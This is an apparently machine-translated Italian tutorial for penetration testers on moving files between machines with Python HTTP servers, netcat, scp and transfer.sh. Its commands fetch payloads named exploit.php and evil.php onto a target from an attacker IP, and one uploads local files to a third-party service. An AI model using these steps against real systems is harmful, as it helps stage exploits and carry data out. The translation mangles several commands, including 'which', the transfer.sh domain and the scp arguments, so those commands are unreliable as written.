Phenquestions
Il trasferimento di exploit, script Python e moduli di caricamento sono spesso necessari durante le attività di test di penetrazione. Poiché il terminale è lo strumento più utilizzato, è essenziale comprendere le basi del trasferimento di file.
Un pen tester dovrebbe essere ben equipaggiato con diversi trucchi per trasferire file da un server remoto e da una directory all'altra. In questo tutorial, discuteremo diversi modi per trasferire file utilizzando la riga di comando.
1. Python Server
Python è il pacchetto base che viene preinstallato in quasi tutti i sistemi basati su Debian. Per trasferire un file da una macchina a un'altra, procedi come segue;
Python2:
Passa alla directory in cui esiste il file che desideri trasferire. Avvia un semplice server Python. Immettere il seguente comando;
$ python -m SimpleHTTPServer 8080
Ora vai alla macchina in cui vuoi trasferire il file. Utilizzare il seguente comando per scaricare il file;
$ wget http://192.168.43.177:8080/file
Ricorda di sostituire l'IP, il numero di porta e il nome del file.
Python3:
Qualsiasi cosa scritta in python2 si interromperà quasi sempre in python3. Quindi vediamo anche come trasferire un file usando python3.
Nel caso di python3, inserisci il seguente comando per avviare un semplice server python.
$ python3 -m http.server 8080
Per scaricare il file sul target, inserisci il seguente comando;
$ wget http://192.168.43.177:8080/exploit.php
2. Netcat
Netcat è una potente utility per trasferire file da qualsiasi macchina remota a una macchina locale. Potrebbe non essere sempre installato. Puoi verificare se esiste o meno inserendo;
$ che netcat
In alternativa, inserendo;$ che nc
Crea un server netcat con il seguente comando;
$ nc -nlvp 8080 < evil.php
Ora vai alla macchina di destinazione e inserisci quanto segue per scaricare il file;
$ nc -nv 192.168.43.177 8080 > male.php
Sostituire nc con netcat nei comandi precedenti se nc non funziona o non è installato correttamente.
3. SCP
Secure Copy Protocol è un potente strumento per il trasferimento di file. È utile soprattutto quando si desidera trasferire directory. È anche usato principalmente per i trasferimenti di file su ssh.
Per trasferire file tramite ssh, inserire il seguente comando sulla macchina di invio;
$ scp -i nuovo.test pem.py [email protected]:/home/ubuntu
Dove -i rappresenta la chiave pubblica per il login ssh, test.py è il file da trasferire e /home/ubuntu è la directory di destinazione in cui vogliamo salvare il file.
Per scaricare un file dalla macchina remota, inserisci il seguente comando;
$ scp [email protected]:/directory_remota/file /local/directory
4. Trasferimento.sh
Puoi utilizzare questo strumento di terze parti per trasferire file. Può essere utile quando non hai una macchina con IP pubblico e devi comunque trasferire i file. Il seguente comando carica il file nel trasferimento.sh server;
$ curl --upload-file ./file.txt https://trasferimento.sh/file.TXT
Per scaricare il file, inserisci il seguente comando;
$ curl https://transfer.sh//file.txt -o file.TXT
Trasferimento.sh è ancora in fase di sviluppo e potrebbe non funzionare sempre.
Conclusione
Gli strumenti della riga di comando ci danno la possibilità di trasferire file in vari modi. Possono sembrare un po' complicati, ma metterli in pratica dà la possibilità di gestire facilmente i file, specialmente quando un'opzione GUI non è disponibile.
